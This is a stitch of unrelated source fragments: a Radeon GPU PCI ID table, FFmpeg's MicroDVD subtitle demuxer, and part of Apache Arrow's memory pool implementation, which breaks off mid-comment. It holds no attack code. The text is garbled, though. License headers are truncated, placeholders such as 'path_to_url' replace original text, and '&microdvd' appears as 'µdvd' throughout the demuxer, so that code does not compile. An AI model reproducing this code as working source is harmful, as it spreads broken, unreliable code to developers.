{0x1002, 0x9997, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_ARUBA|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9998, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_ARUBA|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9999, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_ARUBA|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x999A, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_ARUBA|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x999B, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_ARUBA|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x999C, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_ARUBA|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x999D, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_ARUBA|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x99A0, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_ARUBA|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x99A2, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_ARUBA|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x99A4, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_ARUBA|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0, 0, 0}
```
|
```c
/*
* MicroDVD subtitle demuxer
*
* This file is part of FFmpeg.
*
* FFmpeg is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
*
* FFmpeg is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
*
* You should have received a copy of the GNU Lesser General Public
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include "avformat.h"
#include "internal.h"
#include "subtitles.h"
#include "libavutil/intreadwrite.h"
#include "libavutil/opt.h"
#define MAX_LINESIZE 2048
typedef struct {
const AVClass *class;
FFDemuxSubtitlesQueue q;
AVRational frame_rate;
} MicroDVDContext;
static int microdvd_probe(AVProbeData *p)
{
unsigned char c;
const uint8_t *ptr = p->buf;
int i;
if (AV_RB24(ptr) == 0xEFBBBF)
ptr += 3; /* skip UTF-8 BOM */
for (i=0; i<3; i++) {
if (sscanf(ptr, "{%*d}{}%c", &c) != 1 &&
sscanf(ptr, "{%*d}{%*d}%c", &c) != 1 &&
sscanf(ptr, "{DEFAULT}{}%c", &c) != 1)
return 0;
ptr += ff_subtitles_next_line(ptr);
}
return AVPROBE_SCORE_MAX;
}
static int64_t get_pts(const char *buf)
{
int frame;
char c;
if (sscanf(buf, "{%d}{%c", &frame, &c) == 2)
return frame;
return AV_NOPTS_VALUE;
}
static int get_duration(const char *buf)
{
int frame_start, frame_end;
if (sscanf(buf, "{%d}{%d}", &frame_start, &frame_end) == 2)
return frame_end - frame_start;
return -1;
}
static const char *bom = "\xEF\xBB\xBF";
static int microdvd_read_header(AVFormatContext *s)
{
AVRational pts_info = (AVRational){ 2997, 125 }; /* default: 23.976 fps */
MicroDVDContext *microdvd = s->priv_data;
AVStream *st = avformat_new_stream(s, NULL);
int i = 0;
char line_buf[MAX_LINESIZE];
int has_real_fps = 0;
if (!st)
return AVERROR(ENOMEM);
while (!avio_feof(s->pb)) {
char *p;
AVPacket *sub;
int64_t pos = avio_tell(s->pb);
int len = ff_get_line(s->pb, line_buf, sizeof(line_buf));
char *line = line_buf;
if (!strncmp(line, bom, 3))
line += 3;
p = line;
if (!len)
break;
line[strcspn(line, "\r\n")] = 0;
if (i++ < 3) {
int frame;
double fps;
char c;
if ((sscanf(line, "{%d}{}%6lf", &frame, &fps) == 2 ||
sscanf(line, "{%d}{%*d}%6lf", &frame, &fps) == 2)
&& frame <= 1 && fps > 3 && fps < 100) {
pts_info = av_d2q(fps, 100000);
has_real_fps = 1;
continue;
}
if (!st->codec->extradata && sscanf(line, "{DEFAULT}{}%c", &c) == 1) {
st->codec->extradata = av_strdup(line + 11);
if (!st->codec->extradata)
return AVERROR(ENOMEM);
st->codec->extradata_size = strlen(st->codec->extradata) + 1;
continue;
}
}
#define SKIP_FRAME_ID \
p = strchr(p, '}'); \
if (!p) { \
av_log(s, AV_LOG_WARNING, "Invalid event \"%s\"" \
" at line %d\n", line, i); \
continue; \
} \
p++
SKIP_FRAME_ID;
SKIP_FRAME_ID;
if (!*p)
continue;
sub = ff_subtitles_queue_insert(µdvd->q, p, strlen(p), 0);
if (!sub)
return AVERROR(ENOMEM);
sub->pos = pos;
sub->pts = get_pts(line);
sub->duration = get_duration(line);
}
ff_subtitles_queue_finalize(s, µdvd->q);
if (has_real_fps) {
/* export the FPS info only if set in the file */
microdvd->frame_rate = pts_info;
} else if (microdvd->frame_rate.num) {
/* fallback on user specified frame rate */
pts_info = microdvd->frame_rate;
}
avpriv_set_pts_info(st, 64, pts_info.den, pts_info.num);
st->codec->codec_type = AVMEDIA_TYPE_SUBTITLE;
st->codec->codec_id = AV_CODEC_ID_MICRODVD;
return 0;
}
static int microdvd_read_packet(AVFormatContext *s, AVPacket *pkt)
{
MicroDVDContext *microdvd = s->priv_data;
return ff_subtitles_queue_read_packet(µdvd->q, pkt);
}
static int microdvd_read_seek(AVFormatContext *s, int stream_index,
int64_t min_ts, int64_t ts, int64_t max_ts, int flags)
{
MicroDVDContext *microdvd = s->priv_data;
return ff_subtitles_queue_seek(µdvd->q, s, stream_index,
min_ts, ts, max_ts, flags);
}
static int microdvd_read_close(AVFormatContext *s)
{
MicroDVDContext *microdvd = s->priv_data;
ff_subtitles_queue_clean(µdvd->q);
return 0;
}
#define OFFSET(x) offsetof(MicroDVDContext, x)
#define SD AV_OPT_FLAG_SUBTITLE_PARAM|AV_OPT_FLAG_DECODING_PARAM
static const AVOption microdvd_options[] = {
{ "subfps", "set the movie frame rate fallback", OFFSET(frame_rate), AV_OPT_TYPE_RATIONAL, {.dbl=0}, 0, INT_MAX, SD },
{ NULL }
};
static const AVClass microdvd_class = {
.class_name = "microdvddec",
.item_name = av_default_item_name,
.option = microdvd_options,
.version = LIBAVUTIL_VERSION_INT,
};
AVInputFormat ff_microdvd_demuxer = {
.name = "microdvd",
.long_name = NULL_IF_CONFIG_SMALL("MicroDVD subtitle format"),
.priv_data_size = sizeof(MicroDVDContext),
.read_probe = microdvd_probe,
.read_header = microdvd_read_header,
.read_packet = microdvd_read_packet,
.read_seek2 = microdvd_read_seek,
.read_close = microdvd_read_close,
.priv_class = µdvd_class,
};
```
|
```c++
// or more contributor license agreements. See the NOTICE file
// distributed with this work for additional information
// regarding copyright ownership. The ASF licenses this file
//
// path_to_url
//
// Unless required by applicable law or agreed to in writing,
// "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
// specific language governing permissions and limitations
#include "arrow/memory_pool_internal.h"
#include <algorithm> // IWYU pragma: keep
#include <atomic>
#include <cstdlib> // IWYU pragma: keep
#include <cstring> // IWYU pragma: keep
#include <iostream> // IWYU pragma: keep
#include <limits>
#include <memory>
#include <mutex>
#include <optional>
#if defined(sun) || defined(__sun)
#include <stdlib.h>
#endif
#include "arrow/buffer.h"
#include "arrow/io/util_internal.h"
#include "arrow/result.h"
#include "arrow/status.h"
#include "arrow/util/bit_util.h"
#include "arrow/util/config.h"
#include "arrow/util/debug.h"
#include "arrow/util/int_util_overflow.h"
#include "arrow/util/io_util.h"
#include "arrow/util/logging.h" // IWYU pragma: keep
#include "arrow/util/string.h"
#include "arrow/util/thread_pool.h"
#include "arrow/util/ubsan.h"
#ifdef __GLIBC__
#include <malloc.h>
#endif
#ifdef ARROW_MIMALLOC
#include <mimalloc.h>
#endif
namespace arrow {
namespace memory_pool {
namespace internal {
alignas(kDefaultBufferAlignment) int64_t zero_size_area[1] = {kDebugXorSuffix};
} // namespace internal
} // namespace memory_pool
namespace {
constexpr char kDefaultBackendEnvVar[] = "ARROW_DEFAULT_MEMORY_POOL";
constexpr char kDebugMemoryEnvVar[] = "ARROW_DEBUG_MEMORY_POOL";
enum class MemoryPoolBackend : uint8_t { System, Jemalloc, Mimalloc };
struct SupportedBackend {
const char* name;
MemoryPoolBackend backend;
};
// See ARROW-12248 for why we use static in-function singletons rather than
// global constants below (in SupportedBackends() and UserSelectedBackend()).
// In some contexts (especially R bindings) `default_memory_pool()` may be
// called before all globals are initialized, and then the ARROW_DEFAULT_MEMORY_POOL
// environment variable would be ignored.
const std::vector<SupportedBackend>& SupportedBackends() {
static std::vector<SupportedBackend> backends = {
// mimalloc is our preferred allocator for several reasons:
// 1) it has good performance
// 2) it is well-supported on all our main platforms (Linux, macOS, Windows)
// 3) it is easy to configure and has a consistent API.
#ifdef ARROW_MIMALLOC
{"mimalloc", MemoryPoolBackend::Mimalloc},
#endif
#ifdef ARROW_JEMALLOC
{"jemalloc", MemoryPoolBackend::Jemalloc},
#endif
{"system", MemoryPoolBackend::System}};
return backends;
}
// Return the MemoryPoolBackend selected by the user through the
// ARROW_DEFAULT_MEMORY_POOL environment variable, if any.
std::optional<MemoryPoolBackend> UserSelectedBackend() {
static auto user_selected_backend = []() -> std::optional<MemoryPoolBackend> {
auto unsupported_backend = [](const std::string& name) {
std::vector<std::string> supported;
for (const auto backend : SupportedBackends()) {
supported.push_back(std::string("'") + backend.name + "'");
}
ARROW_LOG(WARNING) << "Unsupported backend '" << name << "' specified in "
<< kDefaultBackendEnvVar << " (supported backends are "
<< internal::JoinStrings(supported, ", ") << ")";
};
auto maybe_name = internal::GetEnvVar(kDefaultBackendEnvVar);
if (!maybe_name.ok()) {
return {};
}
const auto name = *std::move(maybe_name);
if (name.empty()) {
// An empty environment variable is considered missing
return {};
}
const auto found = std::find_if(
SupportedBackends().begin(), SupportedBackends().end(),
[&](const SupportedBackend& backend) { return name == backend.name; });
if (found != SupportedBackends().end()) {
return found->backend;
}
unsupported_backend(name);
return {};
}();
return user_selected_backend;
}
MemoryPoolBackend DefaultBackend() {
auto backend = UserSelectedBackend();
if (backend.has_value()) {
return backend.value();
}
struct SupportedBackend default_backend = SupportedBackends().front();
return default_backend.backend;
}
using MemoryDebugHandler = std::function<void(uint8_t* ptr, int64_t size, const Status&)>;
struct DebugState {
void Invoke(uint8_t* ptr, int64_t size, const Status& st) {
std::lock_guard<std::mutex> lock(mutex_);
if (handler_) {
handler_(ptr, size, st);
}
}
void SetHandler(MemoryDebugHandler handler) {
std::lock_guard<std::mutex> lock(mutex_);
handler_ = std::move(handler);
}
static DebugState* Instance() {
// Instance is constructed on-demand. If it was a global static variable,
// it could be constructed after being used.
static DebugState instance;
return &instance;
}
private:
DebugState() = default;
ARROW_DISALLOW_COPY_AND_ASSIGN(DebugState);
std::mutex mutex_;
MemoryDebugHandler handler_;
};
void DebugAbort(uint8_t* ptr, int64_t size, const Status& st) { st.Abort(); }
void DebugTrap(uint8_t* ptr, int64_t size, const Status& st) {
ARROW_LOG(ERROR) << st.ToString();
arrow::internal::DebugTrap();
}
void DebugWarn(uint8_t* ptr, int64_t size, const Status& st) {
ARROW_LOG(WARNING) << st.ToString();
}
bool IsDebugEnabled() {
static const bool is_enabled = []() {
auto maybe_env_value = internal::GetEnvVar(kDebugMemoryEnvVar);
if (!maybe_env_value.ok()) {
return false;
}
auto env_value = *std::move(maybe_env_value);
if (env_value.empty() || env_value == "none") {
return false;
}
auto debug_state = DebugState::Instance();
if (env_value == "abort") {
debug_state->SetHandler(DebugAbort);
return true;
}
if (env_value == "trap") {
debug_state->SetHandler(DebugTrap);
return true;
}
if (env_value == "warn") {
debug_state->SetHandler(DebugWarn);
return true;
}
ARROW_LOG(WARNING) << "Invalid value for " << kDebugMemoryEnvVar << ": '" << env_value
<< "'. Valid values are 'abort', 'trap', 'warn', 'none'.";
return false;
}();
return is_enabled;
}
// An allocator wrapper that adds a suffix at the end of allocation to check
// for writes beyond the allocated area.
template <typename WrappedAllocator>
class DebugAllocator {
public:
static Status AllocateAligned(int64_t size, int64_t alignment, uint8_t** out) {
if (size == 0) {
*out = memory_pool::internal::kZeroSizeArea;
} else {
ARROW_ASSIGN_OR_RAISE(int64_t raw_size, RawSize(size));
DCHECK(raw_size > size) << "bug in raw size computation: " << raw_size
<< " for size " << size;
RETURN_NOT_OK(WrappedAllocator::AllocateAligned(raw_size, alignment, out));
InitAllocatedArea(*out, size);
}
return Status::OK();
}
static void ReleaseUnused() { WrappedAllocator::ReleaseUnused(); }
static Status ReallocateAligned(int64_t old_size, int64_t new_size, int64_t alignment,
uint8_t** ptr) {
CheckAllocatedArea(*ptr, old_size, "reallocation");
if (*ptr == memory_pool::internal::kZeroSizeArea) {
return AllocateAligned(new_size, alignment, ptr);
}
if (new_size == 0) {
// Note that an overflow check isn't needed as `old_size` is supposed to have
// been successfully passed to AllocateAligned() before.
WrappedAllocator::DeallocateAligned(*ptr, old_size + kOverhead, alignment);
*ptr = memory_pool::internal::kZeroSizeArea;
return Status::OK();
}
ARROW_ASSIGN_OR_RAISE(int64_t raw_new_size, RawSize(new_size));
DCHECK(raw_new_size > new_size)
<< "bug in raw size computation: " << raw_new_size << " for size " << new_size;
RETURN_NOT_OK(WrappedAllocator::ReallocateAligned(old_size + kOverhead, raw_new_size,
alignment, ptr));
InitAllocatedArea(*ptr, new_size);
return Status::OK();
}
static void DeallocateAligned(uint8_t* ptr, int64_t size, int64_t alignment) {
CheckAllocatedArea(ptr, size, "deallocation");
if (ptr != memory_pool::internal::kZeroSizeArea) {
WrappedAllocator::DeallocateAligned(ptr, size + kOverhead, alignment);
}
}
private:
static Result<int64_t> RawSize(int64_t size) {
if (ARROW_PREDICT_FALSE(internal::AddWithOverflow(size, kOverhead, &size))) {
return Status::OutOfMemory("Memory allocation size too large");
}
return size;
}
static void InitAllocatedArea(uint8_t* ptr, int64_t size) {
DCHECK_NE(size, 0);
util::SafeStore(ptr + size, size ^ memory_pool::internal::kDebugXorSuffix);
}
static void CheckAllocatedArea(uint8_t* ptr, int64_t size, const char* context) {
// Check that memory wasn't clobbered at the end of the allocated area.
int64_t stored_size =
memory_pool::internal::kDebugXorSuffix ^ util::SafeLoadAs<int64_t>(ptr + size);
if (ARROW_PREDICT_FALSE(stored_size != size)) {
auto st = Status::Invalid("Wrong size on ", context, ": given size = ", size,
", actual size = ", stored_size);
DebugState::Instance()->Invoke(ptr, size, st);
}
}
static constexpr int64_t kOverhead = sizeof(int64_t);
};
// Helper class directing allocations to the standard system allocator.
class SystemAllocator {
public:
// Allocate memory according to the alignment requirements for Arrow
// (as of May 2016 64 bytes)
static Status AllocateAligned(int64_t size, int64_t alignment, uint8_t** out) {
if (size == 0) {
*out = memory_pool::internal::kZeroSizeArea;
return Status::OK();
}
#ifdef _WIN32
// Special code path for Windows
*out = reinterpret_cast<uint8_t*>(
_aligned_malloc(static_cast<size_t>(size), static_cast<size_t>(alignment)));
if (!*out) {
return Status::OutOfMemory("malloc of size ", size, " failed");
}
#elif defined(sun) || defined(__sun)
*out = reinterpret_cast<uint8_t*>(
memalign(static_cast<size_t>(alignment), static_cast<size_t>(size)));
if (!*out) {
return Status::OutOfMemory("malloc of size ", size, " failed");
}
#else
const int result =
posix_memalign(reinterpret_cast<void**>(out), static_cast<size_t>(alignment),
static_cast<size_t>(size));
if (result == ENOMEM) {
return Status::OutOfMemory("malloc of size ", size, " failed");
}
if (result == EINVAL) {
return Status::Invalid("invalid alignment parameter: ",
static_cast<size_t>(alignment));
}
#endif
return Status::OK();
}
static Status ReallocateAligned(int64_t old_size, int64_t new_size, int64_t alignment,
uint8_t** ptr) {
uint8_t* previous_ptr = *ptr;
if (previous_ptr == memory_pool::internal::kZeroSizeArea) {
DCHECK_EQ(old_size, 0);
return AllocateAligned(new_size, alignment, ptr);
}
if (new_size == 0) {
DeallocateAligned(previous_ptr, old_size, alignment);
*ptr = memory_pool::internal::kZeroSizeArea;
return Status::OK();
}
// Note: We cannot use realloc() here as it doesn't guarantee alignment.
// Allocate new chunk
uint8_t* out = nullptr;
RETURN_NOT_OK(AllocateAligned(new_size, alignment, &out));
DCHECK(out);
// Copy contents and release old memory chunk
memcpy(out, *ptr, static_cast<size_t>(std::min(new_size, old_size)));
#ifdef _WIN32
_aligned_free(*ptr);
#else
free(*ptr);
#endif // defined(_WIN32)
*ptr = out;
return Status::OK();
}
static void DeallocateAligned(uint8_t* ptr, int64_t size, int64_t /*alignment*/) {
if (ptr == memory_pool::internal::kZeroSizeArea) {
DCHECK_EQ(size, 0);
} else {
#ifdef _WIN32
_aligned_free(ptr);
#else
free(ptr);
#endif
}
}
static void ReleaseUnused() {
#ifdef __GLIBC__
// The return value of malloc_trim is not an error but to inform
// you if memory was actually released or not, which we do not care about here
ARROW_UNUSED(malloc_trim(0));
#endif
}
};
#ifdef ARROW_MIMALLOC
// Helper class directing allocations to the mimalloc allocator.
class MimallocAllocator {
public:
static Status AllocateAligned(int64_t size, int64_t alignment, uint8_t** out) {
if (size == 0) {
*out = memory_pool::internal::kZeroSizeArea;
return Status::OK();
}
*out = reinterpret_cast<uint8_t*>(
mi_malloc_aligned(static_cast<size_t>(size), static_cast<size_t>(alignment)));
if (*out == NULL) {
return Status::OutOfMemory("malloc of size ", size, " failed");
}
return Status::OK();
}
static void ReleaseUnused() { mi_collect(true); }
static Status ReallocateAligned(int64_t old_size, int64_t new_size, int64_t alignment,
uint8_t** ptr) {
uint8_t* previous_ptr = *ptr;
if (previous_ptr == memory_pool::internal::kZeroSizeArea) {
DCHECK_EQ(old_size, 0);
return AllocateAligned(new_size, alignment, ptr);
}
if (new_size == 0) {
DeallocateAligned(previous_ptr, old_size, alignment);
*ptr = memory_pool::internal::kZeroSizeArea;
return Status::OK();
}
*ptr = reinterpret_cast<uint8_t*>(
mi_realloc_aligned(previous_ptr, static_cast<size_t>(new_size), alignment));
if (*ptr == NULL) {
*ptr = previous_ptr;
return Status::OutOfMemory("realloc of size ", new_size, " failed");
}
return Status::OK();
}
static void DeallocateAligned(uint8_t* ptr, int64_t size, int64_t /*alignment*/) {
if (ptr == memory_pool::internal::kZeroSizeArea) {
DCHECK_EQ(size, 0);
} else {
mi_free(ptr);
}
}
};
#endif // defined(ARROW_MIMALLOC)
} // namespace
int64_t MemoryPool::max_memory() const { return -1; }
///////////////////////////////////////////////////////////////////////
// MemoryPool implementation that delegates its core duty
// to an Allocator class.
#ifndef NDEBUG
static constexpr uint8_t kAllocPoison = 0xBC;
static constexpr uint8_t kReallocPoison = 0xBD;
static constexpr uint8_t kDeallocPoison = 0xBE;
#endif
template <typename Allocator>
class BaseMemoryPoolImpl : public MemoryPool {
public:
~BaseMemoryPoolImpl() override {}
Status Allocate(int64_t size, int64_t alignment, uint8_t** out) override {
if (size < 0) {
return Status::Invalid("negative malloc size");
}
if (static_cast<uint64_t>(size) >= std::numeric_limits<size_t>::max()) {
return Status::OutOfMemory("malloc size overflows size_t");
}
RETURN_NOT_OK(Allocator::AllocateAligned(size, alignment, out));
#ifndef NDEBUG
// Poison data
if (size > 0) {
DCHECK_NE(*out, nullptr);
(*out)[0] = kAllocPoison;
(*out)[size - 1] = kAllocPoison;
}
#endif
stats_.DidAllocateBytes(size);
return Status::OK();
}
Status Reallocate(int64_t old_size, int64_t new_size, int64_t alignment,
uint8_t** ptr) override {
if (new_size < 0) {
return Status::Invalid("negative realloc size");
}
if (static_cast<uint64_t>(new_size) >= std::numeric_limits<size_t>::max()) {
return Status::OutOfMemory("realloc overflows size_t");
}
RETURN_NOT_OK(Allocator::ReallocateAligned(old_size, new_size, alignment, ptr));
#ifndef NDEBUG
// Poison data
if (new_size > old_size) {
DCHECK_NE(*ptr, nullptr);
(*ptr)[old_size] = kReallocPoison;
(*ptr)[new_size - 1] = kReallocPoison;
}
#endif
stats_.DidReallocateBytes(old_size, new_size);
return Status::OK();
}
void Free(uint8_t* buffer, int64_t size, int64_t alignment) override {
#ifndef NDEBUG
// Poison data
if (size > 0) {
DCHECK_NE(buffer, nullptr);
buffer[0] = kDeallocPoison;
buffer[size - 1] = kDeallocPoison;
}
#endif
Allocator::DeallocateAligned(buffer, size, alignment);
stats_.DidFreeBytes(size);
}
void ReleaseUnused() override { Allocator::ReleaseUnused(); }
int64_t bytes_allocated() const override { return stats_.bytes_allocated(); }
int64_t max_memory() const override { return stats_.max_memory(); }
int64_t total_bytes_allocated() const override {
return stats_.total_bytes_allocated();
}
int64_t num_allocations() const override { return stats_.num_allocations(); }
protected:
internal::MemoryPoolStats stats_;
};
class SystemMemoryPool : public BaseMemoryPoolImpl<SystemAllocator> {
public:
std::string backend_name() const override { return "system"; }
};
class SystemDebugMemoryPool : public BaseMemoryPoolImpl<DebugAllocator<SystemAllocator>> {
public:
std::string backend_name() const override { return "system"; }
};
#ifdef ARROW_JEMALLOC
class JemallocMemoryPool
: public BaseMemoryPoolImpl<memory_pool::internal::JemallocAllocator> {
public:
std::string backend_name() const override { return "jemalloc"; }
};
class JemallocDebugMemoryPool
: public BaseMemoryPoolImpl<
DebugAllocator<memory_pool::internal::JemallocAllocator>> {
public:
std::string backend_name() const override { return "jemalloc"; }
};
#endif
#ifdef ARROW_MIMALLOC
class MimallocMemoryPool : public BaseMemoryPoolImpl<MimallocAllocator> {
public:
std::string backend_name() const override { return "mimalloc"; }
};
class MimallocDebugMemoryPool
: public BaseMemoryPoolImpl<DebugAllocator<MimallocAllocator>> {
public:
std::string backend_name() const override { return "mimalloc"; }
};
#endif
std::unique_ptr<MemoryPool> MemoryPool::CreateDefault() {
auto backend = DefaultBackend();
switch (backend) {
case MemoryPoolBackend::System:
return IsDebugEnabled() ? std::unique_ptr<MemoryPool>(new SystemDebugMemoryPool)
: std::unique_ptr<MemoryPool>(new SystemMemoryPool);
#ifdef ARROW_JEMALLOC
case MemoryPoolBackend::Jemalloc:
return IsDebugEnabled() ? std::unique_ptr<MemoryPool>(new JemallocDebugMemoryPool)
: std::unique_ptr<MemoryPool>(new JemallocMemoryPool);
#endif
#ifdef ARROW_MIMALLOC
case MemoryPoolBackend::Mimalloc:
return IsDebugEnabled() ? std::unique_ptr<MemoryPool>(new MimallocDebugMemoryPool)
: std::unique_ptr<MemoryPool>(new MimallocMemoryPool);
#endif
default:
ARROW_LOG(FATAL) << "Internal error: cannot create default memory pool";
return nullptr;
}
}
static struct GlobalState {
~GlobalState() { finalizing_.store(true, std::memory_order_relaxed); }
bool is_finalizing() const { return finalizing_.load(std::memory_order_relaxed); }
MemoryPool* system_memory_pool() {
if (IsDebugEnabled()) {
return &system_debug_pool_;
} else {
return &system_pool_;
}
}
#ifdef ARROW_JEMALLOC
MemoryPool* jemalloc_memory_pool() {
if (IsDebugEnabled()) {
return &jemalloc_debug_pool_;
} else {
return &jemalloc_pool_;
}
}
#endif
#ifdef ARROW_MIMALLOC
MemoryPool* mimalloc_memory_pool() {
if (IsDebugEnabled()) {
return &mimalloc_debug_pool_;
} else {
return &mimalloc_pool_;
}
}
#endif
private:
std::atomic<bool> finalizing_{false}; // constructed first, destroyed last
SystemMemoryPool system_pool_;
SystemDebugMemoryPool system_debug_pool_;
#ifdef ARROW_JEMALLOC
JemallocMemoryPool jemalloc_pool_;
JemallocDebugMemoryPool jemalloc_debug_pool_;
#endif
#ifdef ARROW_MIMALLOC
MimallocMemoryPool mimalloc_pool_;
MimallocDebugMemoryPool mimalloc_debug_pool_;
#endif
} global_state;
MemoryPool* system_memory_pool() { return global_state.system_memory_pool(); }
Status jemalloc_memory_pool(MemoryPool** out) {
#ifdef ARROW_JEMALLOC
*out = global_state.jemalloc_memory_pool();
return Status::OK();
#else
return Status::NotImplemented("This Arrow build does not enable jemalloc");
#endif
}
Status mimalloc_memory_pool(MemoryPool** out) {
#ifdef ARROW_MIMALLOC
*out = global_state.mimalloc_memory_pool();
return Status::OK();
#else
return Status::NotImplemented("This Arrow build does not enable mimalloc");
#endif
}
MemoryPool* default_memory_pool() {
auto backend = DefaultBackend();
switch (backend) {
case MemoryPoolBackend::System:
return global_state.system_memory_pool();
#ifdef ARROW_JEMALLOC
case MemoryPoolBackend::Jemalloc:
return global_state.jemalloc_memory_pool();
#endif
#ifdef ARROW_MIMALLOC
case MemoryPoolBackend::Mimalloc:
return global_state.mimalloc_memory_pool();
#endif
default:
ARROW_LOG(FATAL) << "Internal error: cannot create default memory pool";
return nullptr;
}
}
#ifndef ARROW_JEMALLOC
Status jemalloc_set_decay_ms(int ms) {
return Status::NotImplemented("jemalloc support is not built");
}
Result<int64_t> jemalloc_get_stat(const char* name) {
return Status::NotImplemented("jemalloc support is not built");
}
Status jemalloc_peak_reset() {
return Status::NotImplemented("jemalloc support is not built");
}
Status jemalloc_stats_print(const char* opts) {
return Status::NotImplemented("jemalloc support is not built");
}
Status jemalloc_stats_print(std::function<void(const char*)> write_cb, const char* opts) {
return Status::NotImplemented("jemalloc support is not built");
}
Result<std::string> jemalloc_stats_string(const char* opts) {
return Status::NotImplemented("jemalloc support is not built");
}
#endif
///////////////////////////////////////////////////////////////////////
// LoggingMemoryPool implementation
LoggingMemoryPool::LoggingMemoryPool(MemoryPool* pool) : pool_(pool) {}
Status LoggingMemoryPool::Allocate(int64_t size, int64_t alignment, uint8_t** out) {
Status s = pool_->Allocate(size, alignment, out);
std::cout << "Allocate: size = " << size << ", alignment = " << alignment << std::endl;
return s;
}
Status LoggingMemoryPool::Reallocate(int64_t old_size, int64_t new_size,
int64_t alignment, uint8_t** ptr) {
Status s = pool_->Reallocate(old_size, new_size, ptr);
std::cout << "Reallocate: old_size = " << old_size << ", new_size = " << new_size
<< ", alignment = " << alignment << std::endl;
return s;
}
void LoggingMemoryPool::Free(uint8_t* buffer, int64_t size, int64_t alignment) {
pool_->Free(buffer, size, alignment);
std::cout << "Free: size = " << size << ", alignment = " << alignment << std::endl;
}
int64_t LoggingMemoryPool::bytes_allocated() const {
int64_t nb_bytes = pool_->bytes_allocated();
std::cout << "bytes_allocated: " << nb_bytes << std::endl;
return nb_bytes;
}
int64_t LoggingMemoryPool::max_memory() const {
int64_t mem = pool_->max_memory();
std::cout << "max_memory: " << mem << std::endl;
return mem;
}
int64_t LoggingMemoryPool::total_bytes_allocated() const {
int64_t mem = pool_->total_bytes_allocated();
std::cout << "total_bytes_allocated: " << mem << std::endl;
return mem;
}
int64_t LoggingMemoryPool::num_allocations() const {
int64_t mem = pool_->num_allocations();
std::cout << "num_allocations: " << mem << std::endl;
return mem;
}
std::string LoggingMemoryPool::backend_name() const { return pool_->backend_name(); }
///////////////////////////////////////////////////////////////////////
// ProxyMemoryPool implementation
class ProxyMemoryPool::ProxyMemoryPoolImpl {
public:
explicit ProxyMemoryPoolImpl(MemoryPool* pool) : pool_(pool) {}
Status Allocate(int64_t size, int64_t alignment, uint8_t** out) {
RETURN_NOT_OK(pool_->Allocate(size, alignment, out));
stats_.DidAllocateBytes(size);
return Status::OK();
}
Status Reallocate(int64_t old_size, int64_t new_size, int64_t alignment,
uint8_t** ptr) {
RETURN_NOT_OK(pool_->Reallocate(old_size, new_size, alignment, ptr));
stats_.DidReallocateBytes(old_size, new_size);
return Status::OK();
}
void Free(uint8_t* buffer, int64_t size, int64_t alignment) {
pool_->Free(buffer, size, alignment);
stats_.DidFreeBytes(size);
}
int64_t bytes_allocated() const { return stats_.bytes_allocated(); }
int64_t max_memory() const { return stats_.max_memory(); }
int64_t total_bytes_allocated() const { return stats_.total_bytes_allocated(); }
int64_t num_allocations() const { return stats_.num_allocations(); }
std::string backend_name() const { return pool_->backend_name(); }
private:
MemoryPool* pool_;
internal::MemoryPoolStats stats_;
};
ProxyMemoryPool::ProxyMemoryPool(MemoryPool* pool) {
impl_.reset(new ProxyMemoryPoolImpl(pool));
}
ProxyMemoryPool::~ProxyMemoryPool() {}
Status ProxyMemoryPool::Allocate(int64_t size, int64_t alignment, uint8_t** out) {
return impl_->Allocate(size, alignment, out);
}
Status ProxyMemoryPool::Reallocate(int64_t old_size, int64_t new_size, int64_t alignment,
uint8_t** ptr) {
return impl_->Reallocate(old_size, new_size, alignment, ptr);
}
void ProxyMemoryPool::Free(uint8_t* buffer, int64_t size, int64_t alignment) {
return impl_->Free(buffer, size, alignment);
}
int64_t ProxyMemoryPool::bytes_allocated() const { return impl_->bytes_allocated(); }
int64_t ProxyMemoryPool::max_memory() const { return impl_->max_memory(); }
int64_t ProxyMemoryPool::total_bytes_allocated() const {
return impl_->total_bytes_allocated();
}
int64_t ProxyMemoryPool::num_allocations() const { return impl_->num_allocations(); }
std::string ProxyMemoryPool::backend_name() const { return impl_->backend_name(); }
std::vector<std::string> SupportedMemoryBackendNames() {
std::vector<std::string> supported;
for (const auto backend : SupportedBackends()) {
supported.push_back(backend.name);
}
return supported;
}
// your_sha256_hash-------
// Pool buffer and allocation
/// A Buffer whose lifetime is tied to a particular MemoryPool
class PoolBuffer final : public ResizableBuffer {
public:
explicit PoolBuffer(std::shared_ptr<MemoryManager> mm, MemoryPool* pool,
int64_t alignment)
: ResizableBuffer(nullptr, 0, std::move(mm)), pool_(pool), alignment_(alignment) {}
~PoolBuffer() override {
// Avoid calling pool_->Free if the global pools are destroyed
// (XXX this will not work with user-defined pools)
// This can happen if a Future is destructing on one thread while or
// after memory pools are destructed on the main thread (as there is
// no guarantee of destructor order between thread/memory pools)
